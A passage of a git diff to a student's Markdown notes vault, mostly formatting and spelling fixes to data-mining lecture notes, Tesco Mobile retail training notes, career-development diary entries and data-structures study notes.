Equation + +# $\sqrt{(a_1-a_1')^2) + (a_2-a_2')^2 + … + (a_n-a_n')^2}$ # $vmax_{temp} = 85$ + # $vmin_{temp} = 64$ # $a_{temp} = \frac{v_{temp} - 64}{21}$ # $vmax_{humidity} = 96$ + # $vmin_{humidity} = 65$ # $a_{humidity} = \frac{v_{humidity} - 65}{31}$ diff --git a/AI & Data Mining/Week 4/Workshop 4 - Nearest Neighbor.md b/AI & Data Mining/Week 4/Workshop 4 - Nearest Neighbor.md index 767cfaa..daffbde 100755 --- a/AI & Data Mining/Week 4/Workshop 4 - Nearest Neighbor.md +++ b/AI & Data Mining/Week 4/Workshop 4 - Nearest Neighbor.md @@ -39,4 +39,4 @@ Root mean squared error 0.3409 Relative absolute error 90.9091 % Root relative squared error 90.9091 % Total Number of Instances 2 -``` \ No newline at end of file +``` diff --git a/AI & Data Mining/Week 5/Lecture 9 - PRISM.md b/AI & Data Mining/Week 5/Lecture 9 - PRISM.md index 2ac41ba..34aab87 100755 --- a/AI & Data Mining/Week 5/Lecture 9 - PRISM.md +++ b/AI & Data Mining/Week 5/Lecture 9 - PRISM.md @@ -18,6 +18,7 @@ ## Selecting a Test Goal: Maximise probability of desired class + - $t$ = total number of examples covered by rule - $p$ = number of positive examples of the class covered by rule - $t - p$ = number of errors made by rule @@ -44,7 +45,7 @@ Stop Condition: $t-p=0$ ![](Pasted%20image%2020241017131912.png) -#### Modified Rule and its Coverage +#### Modified Rule and Its Coverage - Rule with best test added: If astigmatism = Yes and tear rate = Normal { then recommendation = Hard } ![](Pasted%20image%2020241017132019.png) @@ -92,4 +93,4 @@ For each class C - Default Rule - If no rules cover example, prediction is the majority class (most frequent in training data) - Conflict Resolution Strategy - - If more than one rule covers an example, select predicted class with highest recurrance in training data + - If more than one rule covers an example, select predicted class with highest recurrence in training data diff --git a/AI & Data Mining/Week 5/Tutorial 9 - PRISM.md b/AI & Data Mining/Week 5/Tutorial 9 - PRISM.md index ef5983c..856c401 100755 --- a/AI & Data Mining/Week 5/Tutorial 9 - PRISM.md +++ b/AI & Data Mining/Week 5/Tutorial 9 - PRISM.md @@ -41,6 +41,7 @@ IF Income = 0-15k THEN risk = high | debt = high | 4/6 | | debt = low | 2/4 | | **collateral = none** | **6/6** | + IF Income = 0-15k AND collateral = none THEN risk = high | Credit History | Debt | Collateral | Income | Risk | @@ -59,5 +60,3 @@ IF Income = 0-15k AND collateral = none THEN risk = high | credit history = unknown | 1/4 | | debt = high | 2/4 | | debt = low | 2/4 | - - diff --git a/AI & Data Mining/Week 6/Lecture 11 - ID3.md b/AI & Data Mining/Week 6/Lecture 11 - ID3.md index 25f97f8..4555c3d 100755 --- a/AI & Data Mining/Week 6/Lecture 11 - ID3.md +++ b/AI & Data Mining/Week 6/Lecture 11 - ID3.md @@ -1,6 +1,7 @@ # Logarithms $log_2X$ used for generating decision trees + - Power to which we have to raise 2 to get X - When using, X will be probability between 0 and 1 - log of probability is always negative @@ -48,19 +49,23 @@ $log_2X$ used for generating decision trees - Given probability distribution, info required to predict an event is the distributions entropy - Entropy gives the information required in bits -# $I(p_1,p_2,...,p_n)=-p_{1}\log_{2}p_1 -p_{2}\log_{2}p_2 ... -p_{n}\log_{2}p_n$ - Where n = number of classes, and $p_1 + p_2 + ... p_{n} = 1$ +# $I(p_1,p_2,…,p_n)=-p_{1}\log_{2}p_1 -p_{2}\log_{2}p_2 … -p_{n}\log_{2}p_n$ + + Where n = number of classes, and $p_1 + p_2 + … p_{n} = 1$ Minus signs included since output must be positive ### Expected Information for Outlook - Outlook = Sunny + # $info([2,3]) = I(\frac{2}{5},\frac{3}{5}) = -\frac{2}{5}\log_2(\frac{2}{5}) - \frac{3}{5}\log_2(\frac{3}{5}) = 0.971 bits$ - Outlook = Overcast + # $info([4,0]) = I(\frac{4}{4},\frac{0}{4}) = -1\log_2(1) -0\log_2(0) = 0 bits$ - Outlook = Rainy + # $info([3,2]) = I(\frac{3}{5},\frac{2}{5}) = -\frac{3}{5}\log_2(\frac{3}{5}) - \frac{2}{5}\log_2(\frac{2}{5}) = 0.693 bits$ ### Computing Information Gain diff --git a/AI & Data Mining/Week 6/Lecture 12 - Decision Trees (ID3).md b/AI & Data Mining/Week 6/Lecture 12 - Decision Trees (ID3).md index 4899e60..ae18755 100755 --- a/AI & Data Mining/Week 6/Lecture 12 - Decision Trees (ID3).md +++ b/AI & Data Mining/Week 6/Lecture 12 - Decision Trees (ID3).md @@ -1,2 +1 @@ ![](Pasted%20image%2020241025132339.png) - diff --git a/AI & Data Mining/Week 7/Chapter 13 - ID3.md b/AI & Data Mining/Week 7/Chapter 13 - ID3.md index e69de29..8b13789 100755 --- a/AI & Data Mining/Week 7/Chapter 13 - ID3.md +++ b/AI & Data Mining/Week 7/Chapter 13 - ID3.md @@ -0,0 +1 @@ + diff --git a/AI & Data Mining/Week 8/Lecture 16 - Evaluating Concept Descriptions.md b/AI & Data Mining/Week 8/Lecture 16 - Evaluating Concept Descriptions.md index e69de29..8b13789 100755 --- a/AI & Data Mining/Week 8/Lecture 16 - Evaluating Concept Descriptions.md +++ b/AI & Data Mining/Week 8/Lecture 16 - Evaluating Concept Descriptions.md @@ -0,0 +1 @@ + diff --git a/AI & Data Mining/Week 9/Chapter 15.md b/AI & Data Mining/Week 9/Chapter 15.md index 9517acb..fd47262 100755 --- a/AI & Data Mining/Week 9/Chapter 15.md +++ b/AI & Data Mining/Week 9/Chapter 15.md @@ -1,21 +1,21 @@ -1) a) Binomial Distribution b) Measures dispersion of probabilities with respect to a mean average value. Each possible value of S from 0 to N, the probability of observing S correct predictions given a sample of N independent examples of true accuracy P - -2) a) (150 + 180 + 420) / (150 + 180 + 420 + 30 + 50 + 50 + 40 + 50 + 30) = 0.75 -# Variance of S $\sigma^2_S = N_p(1-p)$ +# Variance of S $\sigma^2_S = N_p(1-p)$ + # Std Dev of S $\sigma_S = \sqrt{N_p(1-p)}$ + # Variance in F $\sigma_f = \frac{\sigma_S}{N} = \sqrt{\frac{N_p(1-p)}{N^2}} = \sqrt{\frac{p(1-p)}{N}}$ # Estimate of Predictive Accuracy $\mu_f = \frac{S}{N}$ + # Successful Trials $S$ + # Number of Trials $N$ - 750 Successes 1000 Trials -S = 750 +S = 750 N = 1000 $\mu_f$ = 0.75 $\sqrt{(0.75 \times 0.25)/1000} = 0.0137$ @@ -25,9 +25,7 @@ $\mu_f \pm z \times \sigma_f = 0.75 \pm (1.28 \times 0.0137)$ $= 0.75 \pm 0.0175$ p lies between 73.25% and 76.75%, with 80% confidence. - -3) a) Stratified Holdout, data split to guarantee same distribution of class values in training and test set b) -Repeated Holdout, training and testing done several times with different splits. Overall estimate of predictive accuracy is average of predicted accuracy in different iteration \ No newline at end of file +Repeated Holdout, training and testing done several times with different splits. Overall estimate of predictive accuracy is average of predicted accuracy in different iteration diff --git a/CWC 1 - Consistency.md b/CWC 1 - Consistency.md index 783a257..f80c6de 100644 --- a/CWC 1 - Consistency.md +++ b/CWC 1 - Consistency.md @@ -1,20 +1,23 @@ # Questions -A bit of confusion in our store which we haven't been able to find out is the Code S in the training, we are unsure where that would go or if it is even still used. + +A bit of confusion in our store which we haven't been able to find out is the Code S in the training, we are unsure where that would go or if it is even still used. + - Purposefully write information wrong, call agent "Code S referral" -Churn option, loyalty bonus not clear, should say for leaving customers only. +Churn option, loyalty bonus not clear, should say for leaving customers only. - Discretion, case by case. Should have in-store device guides -Where can we feed-back suggestions +Where can we feed-back suggestions - (Area Manager, or Manager) If existing customer, can we use banking app for card information - Human Connection + - Treat how wanted to be treated - Try hard for customers - Be yourself (already do) Why Tesco Mobile? + - People come to Tesco Mobile for our reliability, competitive deals and information we can give, but they stay for our consistent customer service and lack of hassle - 1 in 100k official ofcom complaints - EU roaming @@ -24,6 +27,7 @@ Why Tesco Mobile? - Convenience, people come with their shopping Why + - Long standing MVMO (2003) - 5m customers - Clubcard prices @@ -39,10 +43,12 @@ Love - anytime upgrade ********* + Every upgrade, TM app. Start pushing for 4G upgrades Home insurance, show the excess compared to protect. Claim = higher insurance Log notes as much as possible on carehub, open cases and close for everything less than inquiry + **** Excellent; Trustpilot @@ -52,8 +58,11 @@ Network of the year, best customer service; Uswitch (3rd year) # Consistency Everyday, dedication, simple stuff. + ## Pillars + ### Customer Ready <<<< + - Not distracted, someone available in our shops all the time, unless impossible - Not on phones all the time, browsing on computers, etc - If cleaning for example, be ready to drop it quickly to serve a customer @@ -64,7 +73,9 @@ Everyday, dedication, simple stuff. - Stand up - Understand the Customer's needs - Engagement + ### Safe and Legal + - Ensuring protection of PII - CLEANING MODE? Quantum Stores! - Must Informs @@ -72,13 +83,17 @@ Everyday, dedication, simple stuff. - mpro - Fraud - Panic Alarms + ### Fit for Trade + - Professional - POS > WGLL - Standards - Clean, Tidy - Accessories and SIMs + ### Walk out Happy + - Teaching rather than doing - SmartSwitch > Public WiFi unsafe, banking. - TM App @@ -86,4 +101,3 @@ Everyday, dedication, simple stuff. - App Activations - More time with all customers - Reduce unnecessary contact and visits - diff --git a/CWC 2 - Warm Welcome.md b/CWC 2 - Warm Welcome.md index 1652309..0e4d932 100644 --- a/CWC 2 - Warm Welcome.md +++ b/CWC 2 - Warm Welcome.md @@ -1,10 +1,13 @@ -# Questions to ask people +# Questions to Ask People + - Trade / Business Account? - Colleague? - Prioritise person over phone, dont ask "what phone do you have" as first question. # Tesco Families + Roshni - Single, Cohabitance, Work, Middle (Class) + - Social schedule 10 activities per week, social - Health wellness - Phone 24/7 @@ -37,6 +40,7 @@ Dawn - Rich retired, working adults - Pleasure in top quality, pays the best for gadgets. # Understanding Customers + - Who are our customers - Family composition - Buying on behalf of someone else? @@ -53,6 +57,7 @@ Dawn - Rich retired, working adults - Researcher # Consistent Conversations + 1. Genuine and Transparent 2. Listen Actively and Empathetic 3. Focus on building relationships @@ -64,6 +69,7 @@ Dawn - Rich retired, working adults 4. Provide Value and Solve Problems # Pre-Welcome + Looking around, eye contact Looking at phones rather than colleagues On their phones outside the shop @@ -79,7 +85,7 @@ Engagement Warm Welcome Understand Needs -# What you See +# What You See Clothing Uniform @@ -88,7 +94,7 @@ Sports Watch Shopping Basket Family -# What you hear +# What You Hear Most needed apps Hobbies @@ -99,4 +105,4 @@ Pets # Network Switch-Off -Get people on new 4G handsets, 2G unreliable to recommend. \ No newline at end of file +Get people on new 4G handsets, 2G unreliable to recommend. diff --git a/CWC 3 - Fit for Trade.md b/CWC 3 - Fit for Trade.md index eab03f2..12ae089 100644 --- a/CWC 3 - Fit for Trade.md +++ b/CWC 3 - Fit for Trade.md @@ -93,6 +93,7 @@ Want to think about it - Urgency, deal only on for x days. - Device Helps - WebChat & Customer Care - SMS Support + ## Set up Customers Turn on WiFi calling & VoLTE @@ -126,10 +127,11 @@ Factory reset customer's phone. # Returning Customers -Sales IS more important than service. Service will bring people through the door, but 50 served with 0 sales < 5 served with 5 sales. +Sales IS more important than service. Service will bring people through the door, but 50 served with 0 sales < 5 served with 5 sales. Mediocre / Good NPS in exchange for more sales is unfortunately a good thing. Why do customers return to your store? + - CCP, satisfied with pricing. - Communications sent to them. - Happy with customer service. @@ -137,5 +139,6 @@ Why do customers return to your store? - Physical stores, can see phones and reps. - Consistent colleagues, customer knows what they're going to get. -# Growth vs Fixed Mindset -![](Pasted%20image%2020250129154055.png) \ No newline at end of file +# Growth Vs Fixed Mindset + +![](Pasted%20image%2020250129154055.png) diff --git a/Career Development/Assessment 2 Diary.md b/Career Development/Assessment 2 Diary.md new file mode 100644 index 0000000..ceb11f5 --- /dev/null +++ b/Career Development/Assessment 2 Diary.md @@ -0,0 +1,79 @@ +### Lecture 1 - Overview and Basic Skills + +The lecture focused on the importance of soft skills in career development, exploring communication, problem-solving, and time management with the goal of equipping us with knowledge to enhance our employability and prepare for professional environments. +The most relevant aspect of the session to me was the emphasis on soft skills like interpersonal communication and adaptability. As a computer scientist, these skills require enhancement to further increase employability. I also acknowledge that my ability to reflect on performance could be improved. For example, I struggle with time management and self-organisation during note taking and assignments. +While I feel I excel in problem solving, I need to work on my communication, priorities and self reflection habits; I plan to implement a structured note-taking system using digital tools, such as Obsidian, to improve my time management. Additionally, I will practice reflective writing to gain better understanding of my progress as I learn. + +### Lecture 2 - CVs and Placements + +The lecture focused on creating effective CVs, writing covering letters, and preparing for interviews with the goal of helping us present ourselves professionally, increasing our chances of securing job placements. The CV section stood out to me, since it applies to me the most. I learned that a CV is not a list of qualifications, but a tool to give good impressions, helping employers see how my skills align with their needs. One area I need to work on is highlighting achievements, not just duties. For example, knowing certain languages and having relevant experience - these are definitely selling points, however by incorporating metrics alongside actions, will make my CV more impactful. Additionally, I appreciated the emphasis on proofreading and clarity; I regularly overlook key requirements in briefs and skip important points. Implementing checklists for proofreading and checking grammar with tools will help improve the professionalism of my CV. + +### Lecture 3 - Skills Audit + +The lecture focused on understanding the importance of both soft and hard skills for computer science students, with the goal of identifying current skills, recognising gaps, and outlining actions to enhance employability. From this, I recognise my communication and interpersonal skills lack development, requiring me to rely on my problem solving, given my computer science background. For this reason, I am actively seeking out employment that will fall outside of my comfort zone to bridge this skill gap. This approach will force me to be more adaptable and versatile, developing skills I lack. Additionally, I plan to utilise the STAR technique to articulate my skills more effectively in both technical and non-technical situations by reflecting on past experiences, such as assignment feedback; Hack Camp will be perfect for this. I also acknowledge my existing skills, such as problem-solving and technical analysis, can always improve. I have just subscribed to TryHackMe, to address skill gaps in my learning. + +### Lecture 4 - Personal Branding + +The lecture on personal branding was both insightful and challenging. It made me think about how my actions and values shape the way others perceive me, especially in a professional context. The idea of my personal brand being something others can recognise and remember stuck with me. I appreciated the emphasis on authenticity. It made sense that my brand should reflect who I truly am, not some polished image I try to project. The suggestion to Google myself and see what others see was eye-opening—I hadn’t thought about how my online presence might influence first impressions. However, I felt a bit overwhelmed by the idea of being "remarkable." The lecture mentioned that 70% of employers use social media to screen candidates, which is a stark reminder of how much my online presence matters. I’m not sure how to start building that consistent, professional image across platforms like LinkedIn and social media. The STAR technique for articulating skills was also valuable. I can see how using this method in interviews would help me demonstrate my abilities more effectively. It’s a practical tool that I plan to incorporate into my next application. Overall, while the concepts are daunting, they inspire me to take control of my professional identity. I need to be more intentional about how I present myself online and in person. It’s a lot to juggle, but I’m ready to take the first steps towards crafting a personal brand that truly reflects who I am. + + + +The lecture focused on personal branding and its importance in career development, along with creating a compelling personal brand with the goal of enhancing self-awareness, identifying strengths and values, and learning how to effectively present it in a professional environment. + +The concept of personal branding was intriguing, since I have only ever written basic CVs and a LinkedIn. Personal branding is more than listing skills on a CV; it involves presenting myself in a way that stands out and creates a lasting impression. + +I was particularly inspired by the idea that my personal brand is how others perceive me, not just how I see myself. This realization is crucial for my sales role, where building rapport and trust with customers is key. I realized that consistently projecting a positive image online and in person will help me stand out in a competitive market. + +One area I need to work on is aligning my personal values with my professional brand. For example, I value integrity and empathy in sales, but I need to ensure these values are evident in every interaction. Reflecting on the STAR technique (Situation, Task, Action, Result) helped me see how my actions can demonstrate these values effectively. + +Additionally, I need to leverage my technical skills from computer science to position myself as a well-rounded professional. By showcasing both my technical expertise and interpersonal skills, I can appeal to a broader range of opportunities in the job market. + +The concept of archetypes was insightful. I identified with the Hero archetype, which aligns with my goal of making a meaningful impact in both my academic and professional journeys. This has motivated me to start crafting a personal brand statement that reflects my values, strengths, and aspirations. + +Overall, this session has equipped me with practical tools to develop a personal brand that is authentic and impactful. I plan to use platforms like LinkedIn to consistently share content, engage with industry professionals, and showcase my unique value proposition. + +### Lecture 5 - CV's, Placements & Applications + +As a computer science student, I recently attended a lecture focused on enhancing my CV, effective placement strategies, and the job application process. The session provided valuable insights into how to present my skills attractively to employers and secure meaningful placements. + +The lecture emphasized the STAR method for structuring a CV, advising against generic applications and encouraging tailored content aligned with specific job descriptions. I appreciated the practical examples of good CV practices, such as highlighting relevant academic modules and experiences. + +Regarding placements, the speaker highlighted resources like Handshake for job listings and suggested starting early to grasp opportunities. This resonated with my proactive approach, as I have been updating my CV and preparing for interviews by reflecting on past experiences in student societies and part-time work. + +I found the lecture's focus on continuous learning and adaptability particularly relevant. It encouraged me to seek out tech companies recruiting in our area and highlighted the importance of research in tailoring applications. This has inspired me to be more proactive in my job hunt, ensuring each application is customised and keyword-rich. + +Overall, the lecture provided actionable steps that have positively influenced my job hunting strategy. I am now more equipped to present myself effectively and navigate the application process with confidence, aligning my skills with industry needs for a successful future career. + +### Lecture 6 - Peak Performance + +The session focused on enhancing personal peak performance through goal-setting, possibility thinking, and developing a growth mindset. It aimed to empower attendees with tools for overcoming self-limiting behaviours and fostering lifelong learning. + +The most interesting content was the concept of "possibility thinking," which encourages envisioning a world as open and positive rather than limited. This approach can be particularly valuable in a computer science context, where innovation and adaptation are key. Learning how to set clear goals and create affirmations to reinforce progress was also transformative. + +Reflecting on my own journey as a computer science student, this session has made me more aware of the importance of embracing new possibilities and challenging my own limits. I plan to apply the "4As" framework (Acknowledge, Analyse, Assimilate, Apply) to better engage with academic materials and identify areas for improvement. This reflection highlights my commitment to continuous growth and resilience in pursuit of my career goals. + +### Lecture 7 - Psychometric Testing + +### Lecture 8 - Self Management Skills + +### Lecture 9 - Working in Industry + +### Lecture 10 - Professional Presence - LinkedIn + +### Lecture 11 - International Opportunities + +### Lecture 12 - Emotional Intelligence + +### Lecture 13 - Art of Freelancing + +### Lecture 14 - Professionalism and Confidence + +### Lecture 15 - Assessment Insights (hmm..) + +### Lecture 16 - Placement Insights and Career Journey + +### Lecture 17 - Fear and Loathing in the Tech Community + +### Lecture 18 - Effective Networking + +### Lecture 19 - 11 P's to Success in Industry \ No newline at end of file diff --git a/Career Development/Assessment 2 Plan.md b/Career Development/Assessment 2 Plan.md new file mode 100644 index 0000000..092c2ed --- /dev/null +++ b/Career Development/Assessment 2 Plan.md @@ -0,0 +1,51 @@ +### **Plan for Final Self-Assessment Report and Weekly Reflective Diary** + +#### **1. Final Self-Assessment Report** + - **Step 1:** Review the soft skills mentioned in your module (e.g., communication, teamwork, adaptability, critical thinking, problem-solving). + - **Step 2:** Identify which skills you feel comfortable claiming you possess and which ones you need to develop further. + - **Step 3:** For each skill: + - Assess your current level (high, medium, low). + - Provide a personal example using the STAR method (Situation, Task, Action, Result). + - Plan specific steps to improve (SMART goals). + - **Step 4:** Organize your report using the structure provided: + - Introduction + - List of skills (5-8) + - For each skill: assessment, reflection, example, and improvement plan. + - Concluding remarks. + +### **Final Self-Assessment Report Structure** + +1. **Introduction (Approx. 100 words):** + + - Briefly introduce the purpose of the report. + - Mention the soft skills you will discuss (e.g., communication, teamwork, adaptability). + - State your overall approach to self-assessment. +2. **List of Skills (Approx. 200 words):** + + - Choose 5-8 soft skills relevant to your context (e.g., communication, teamwork, adaptability, time management, emotional intelligence). + - For each skill: + - **Assessment:** Provide your current level (high, medium, low) with a brief explanation. + - **Reflection:** Discuss your thoughts on this skill and how it applies to your life. + - **Example:** Use the STAR method to describe a personal experience where this skill was demonstrated. + - **Improvement Plan:** Outline specific, SMART goals to enhance this skill. +3. **Concluding Remarks (Approx. 100 words):** + + - Summarize your strengths and areas for development. + - Optionally, mention any additional skills you developed beyond the initial list. + +--- + +#### **2. Weekly Reflective Diary** + - **Step 1:** Go through each week of your academic journey. + - **Step 2:** For each week: + - Describe the session or activity you attended. + - Reflect on what it meant for you (e.g., how it impacted your soft skills). + - Highlight the most useful part and what you learned. + - **Step 3:** Use reflective phrases provided in your lectures to structure your thoughts. + +--- + +### **Additional Tips** +- **Revisit Resources:** Use the soft skills audit, personality test, and previous self-reflection reports to gather evidence. +- **Be Honest:** Be truthful about your strengths and areas for improvement. +- **Be Specific:** Use concrete examples and SMART goals to make your plans actionable. \ No newline at end of file diff --git a/Career Development/Assessment.md b/Career Development/Assessment.md index b60a4c5..a2793e3 100755 --- a/Career Development/Assessment.md +++ b/Career Development/Assessment.md @@ -8,23 +8,23 @@ ### **2. Current Soft Skills** - **2.1 Problem-Solving** - + - Define problem-solving as the ability to identify and resolve issues effectively. - **Evidence**: Discuss how building and deploying virtual machines and Docker applications often required troubleshooting issues such as configuration errors or failed deployments. Highlight specific examples of challenges you resolved. - **2.2 Communication** - + - Define communication as the ability to convey information clearly and effectively. - **Evidence**: Share examples from your phone shop role, such as explaining technical details to non-technical customers, resolving complaints, or ensuring customer understanding of credit and data protection policies. - **2.3 Time Management** - + - Define time management as the ability to prioritize tasks and use time effectively. - **Evidence**: Highlight instances where you balanced multiple responsibilities, such as meeting deployment deadlines for technical projects while managing your commitments at the phone shop. - **2.4 Adaptability** - + - Define adaptability as the ability to adjust to new challenges or environments. - **Evidence**: Provide examples of adapting to new tools or technologies in your technical work (e.g., learning Docker or new hosting systems) or adjusting to varied customer needs and situations in your shop role. - **2.5 Attention to Detail** - + - Define attention to detail as the ability to focus on accuracy and precision. - **Evidence**: Mention your success in configuring virtual machines and Docker containers without critical errors, as well as ensuring compliance with credit and data protection regulations in your phone shop role. @@ -59,4 +59,4 @@ --- -This structure seamlessly integrates your strengths while providing space to address growth areas and future plans. \ No newline at end of file +This structure seamlessly integrates your strengths while providing space to address growth areas and future plans. diff --git a/Client Server Systems/.DS_Store b/Client Server Systems/.DS_Store index 1c648b4ca1647c8467991a4f0deb46e7c11337f0..9fe69dc5aa9ed64a370468c0ded1819341889393 100644 GIT binary patch delta 97 zcmZp1XmOa}&nUYwU^hRb>}DQ;eTMR8JSL&61JbbQ_x42gTa*{nIWGc xiJ_Ds1qdt4f{XHU^7GOe7#J8gGYJVYvYVNKwQQCW{>r?WUE&+dW>yh)W&jff84mye delta 61 zcmV-D0K)%-K!iY$PXQaTP`eKS8?y`$z5$b>5<9c~5)J_eF)%D3GBh}|5)}0Vk%0KK T2N?DQlR*_0vkMmd0g-_9Y6BG- diff --git a/Client Server Systems/Ecobuddy b/Client Server Systems/Ecobuddy index 8de2b7f..709596e 160000 --- a/Client Server Systems/Ecobuddy +++ b/Client Server Systems/Ecobuddy @@ -1 +1 @@ -Subproject commit 8de2b7f29e58e80371976398f63762bdc2b570c6 +Subproject commit 709596eea20c7c5803ed3b3820313d374a9c8f6b diff --git a/Data Structures/AI Notes/ADT Linear List.md b/Data Structures/AI Notes/ADT Linear List.md index ed8a5c0..bc417a2 100755 --- a/Data Structures/AI Notes/ADT Linear List.md +++ b/Data Structures/AI Notes/ADT Linear List.md @@ -5,6 +5,7 @@ This study guide provides an in-depth overview of the Abstract Data Type (ADT) L ## 1. Overview of Linear Lists A linear list is a sequential collection of elements where each element can be accessed via an index. For instance, an instance of a linear list is represented as (e0, e1, e2, …, en-1), where: + - $e_i$ denotes the i-th element. - $n$ is the finite size of the list, with n >= 0. - $e_0$ is the first element and en-1 is the last. @@ -54,6 +55,7 @@ Element[0], Element[1], Element[2], ... ### 5.1 Array-Based Implementation The array-based implementation is straightforward: + - **Class Declaration**: Define a class for the ArrayLinearList. - **Data Members**: Utilize a protected array (Object[]) for storing elements and a variable to track size. - **Constructor Example**: Create constructors to initiate the list with a default or user-defined size. @@ -68,6 +70,7 @@ A linked list version of the linear list provides dynamic memory allocation, whe ## 6. Method Implementations in ADT Linear List Each method associated with the ADT Linear List is essential for its functionality: + - **isEmpty()**: Returns true if the size is 0. - **size()**: Simply returns the count of elements. - **get(int index)**: Requires validating the index with *checkIndex()* before accessing the array. diff --git a/Data Structures/AI Notes/Data Structures and Abstract Data Types.md b/Data Structures/AI Notes/Data Structures and Abstract Data Types.md index 3a23abe..f852835 100755 --- a/Data Structures/AI Notes/Data Structures and Abstract Data Types.md +++ b/Data Structures/AI Notes/Data Structures and Abstract Data Types.md @@ -11,13 +11,12 @@ A **data structure** is defined as an arrangement or organization of data in a c An **abstract data type (ADT)** is a model that defines the high-level operations and characteristics of a data structure without delving into its implementation details. Before actually implementing a data structure, it is imperative to establish what operations the ADT should support. For instance, when creating a linked list ADT, one might specify operations such as: - Inserting an item into the linked list. - + - Deleting an item from the linked list. - + - Searching for an item in the linked list. - + - Checking if the linked list is empty. - This abstraction helps programmers focus on what functionalities the data structure must provide, rather than how those functionalities will be executed. @@ -26,9 +25,8 @@ This abstraction helps programmers focus on what functionalities the data struct Two significant programming principles are reviewed: **abstraction** and **modularization**. Abstraction allows programmers to handle complex systems by focusing on high-level functionalities rather than implementation specifics, while modularization aids in breaking down a problem into manageable components. 1. **Abstraction:** This concept helps in reducing complexity by allowing programmers to concentrate on essential aspects and ignore unnecessary details. - + 2. **Modularization:** By dividing problems into smaller sub-problems, programmers can tackle complex issues more efficiently. - **Encapsulation** works closely with these concepts by bundling data and methods that operate on that data into a single entity, such as a class in Java, thus hiding the internal state and requiring interaction only through specified methods. @@ -37,21 +35,20 @@ Two significant programming principles are reviewed: **abstraction** and **modul Several fundamental data structures form the backbone of programming: - **Primitive Data Types:** These include Integers, Floats, Characters, and Booleans, which represent basic data values. - + - **Composite Data Types:** These include essential data structures such as: - + - **Arrays:** Collections of elements identified by indices, commonly used in mathematical contexts. - + - **Linked Lists:** Data elements structured as nodes, each containing information and a link to the next node. - + - **Stacks:** Last-in-First-out (LIFO) structures that allow insertion and deletion at one end, termed the top. - + - **Queues:** First-in-First-out (FIFO) structures where insertion occurs at the rear and deletion at the front. - + - **Trees:** Non-linear structures representing hierarchical relationships, ideal for organizing data hierarchically. - + - **Graphs:** These consist of nodes and edges, representing pairwise relationships among elements. - ## Concrete Implementations of ADTs @@ -61,4 +58,4 @@ Within programming languages, data structures can act as concrete implementation In software development, the foundation of a solution begins with the specification of a problem, followed by the formulation of an **algorithm**. An algorithm is a defined sequence of operations that transforms inputs into outputs, effectively addressing the problem. As programmers develop algorithms, they gain insights into which data structures may best suit their needs, leading to efficient solutions. -Ultimately, the understanding and application of data structures and ADTs are paramount in achieving effective software design and development, making them a cornerstone of efficient programming practices. \ No newline at end of file +Ultimately, the understanding and application of data structures and ADTs are paramount in achieving effective software design and development, making them a cornerstone of efficient programming practices. diff --git a/Data Structures/AI Notes/Double linked lists.md b/Data Structures/AI Notes/Double linked lists.md index e8d109b..8781217 100755 --- a/Data Structures/AI Notes/Double linked lists.md +++ b/Data Structures/AI Notes/Double linked lists.md @@ -1,27 +1,23 @@ ## Advantages - This has the advantage of making certain actions easier to perform but at the cost of increased maintenance of the code overall. - - Allows traversal of nodes in both direction which is not possible in singly linked list. - - Can allocate or de-allocate memory easily when required during its execution. - - It is one of most efficient data structure to implement when traversing in both direction is required. -## Disadvantages + +## Disadvantages - Using extra memory when compared to array and singly linked list. - - Slow in search as its elements are stored randomly in memory, hence elements are accessed sequentially (no direct access is allowed). -## ADT Liner list could be implemented by two ways: +## ADT Liner List Could Be Implemented by Two Ways: - Array - Used when you search is the highest priority - - Linked list - Singly linked list - Used when you addition/deletion is the highest priority - + - Doubly linked list - Used when you addition/deletion is the highest priority - - Navigate next and pervious \ No newline at end of file + - Navigate next and previous diff --git a/Data Structures/AI Notes/Exceptions.md b/Data Structures/AI Notes/Exceptions.md index a05af7b..b3c5dc8 100755 --- a/Data Structures/AI Notes/Exceptions.md +++ b/Data Structures/AI Notes/Exceptions.md @@ -28,37 +28,34 @@ For example, a constructor header like `public PrintWriter(String fileName) thro At the core of Java's exception handling is the **Throwable** class, which serves as the superclass for all exceptions and errors. It has two key subclasses: - **Error**: Indicates serious problems that a user application should not catch. - + - **Exception**: Represents conditions that a user application might want to catch. - Within the Exception hierarchy, we find numerous subclasses such as **IOException** and **RuntimeException**, which themselves have numerous subclasses. For example: - **IOException** can lead to specific exceptions like: - + - **FileNotFoundException** - + - **EOFException** - + - **RuntimeException** encompasses: - + - **ArithmeticException** - + - **IndexOutOfBoundsException** - + - **NullPointerException** - + - **IllegalArgumentException** - ## Dealing with Exceptions Handling exceptions can be approached in two primary ways: - **Catching the Exception**: This involves writing code to handle the exception immediately where it occurs. To achieve this, any potentially exception-generating code must reside within a **try** block, followed by one or more **catch** blocks that process the exception. - + - **Propagating the Exception**: Alternatively, the method can propagate the exception, allowing higher levels of the program to handle it. This is done by throwing the exception again after catching it or not catching it at all. - ### Catch Blocks Example @@ -73,7 +70,7 @@ A fundamental aspect of handling exceptions is the use of a **try** and **catch* > } > ``` -Here, _XXXException_ can be various types of exceptions, such as **IOException** or **RuntimeException**. When multiple types of exceptions can be thrown, several catch blocks can be utilized, ordered from the most specific to the most general. For instance: +Here, *XXXException* can be various types of exceptions, such as **IOException** or **RuntimeException**. When multiple types of exceptions can be thrown, several catch blocks can be utilized, ordered from the most specific to the most general. For instance: > ``` > try { @@ -127,4 +124,4 @@ In a sample application, if the main() method adds **throws IOException**, the m ## Final Thoughts on Exception Handling -Java's exception handling framework is robust and designed to enable developers to write code that can gracefully manage unexpected problems. This system incorporates custom exceptions using the **throw** keyword, enjoyable error messages, and fine-tuned control over program flow. The use of exception handling not only aids in maintaining the reliability of applications but also provides clearer diagnostic messages for debugging. Overall, proper understanding and implementation of Java exceptions are essential for writing resilient Java applications. \ No newline at end of file +Java's exception handling framework is robust and designed to enable developers to write code that can gracefully manage unexpected problems. This system incorporates custom exceptions using the **throw** keyword, enjoyable error messages, and fine-tuned control over program flow. The use of exception handling not only aids in maintaining the reliability of applications but also provides clearer diagnostic messages for debugging. Overall, proper understanding and implementation of Java exceptions are essential for writing resilient Java applications. diff --git a/Data Structures/AI Notes/Linear List.md b/Data Structures/AI Notes/Linear List.md index 9557a76..864c907 100755 --- a/Data Structures/AI Notes/Linear List.md +++ b/Data Structures/AI Notes/Linear List.md @@ -7,9 +7,8 @@ This study material provides a concise overview of the Abstract Data Type (ADT) The Linear List can be implemented using different structures, including linked lists. The main focus here is on: - Linear List based on LinkedList - + - Doubly-linked list - Each of these implementations has its unique characteristics, advantages, and considerations. @@ -18,13 +17,12 @@ Each of these implementations has its unique characteristics, advantages, and co Understanding the size of 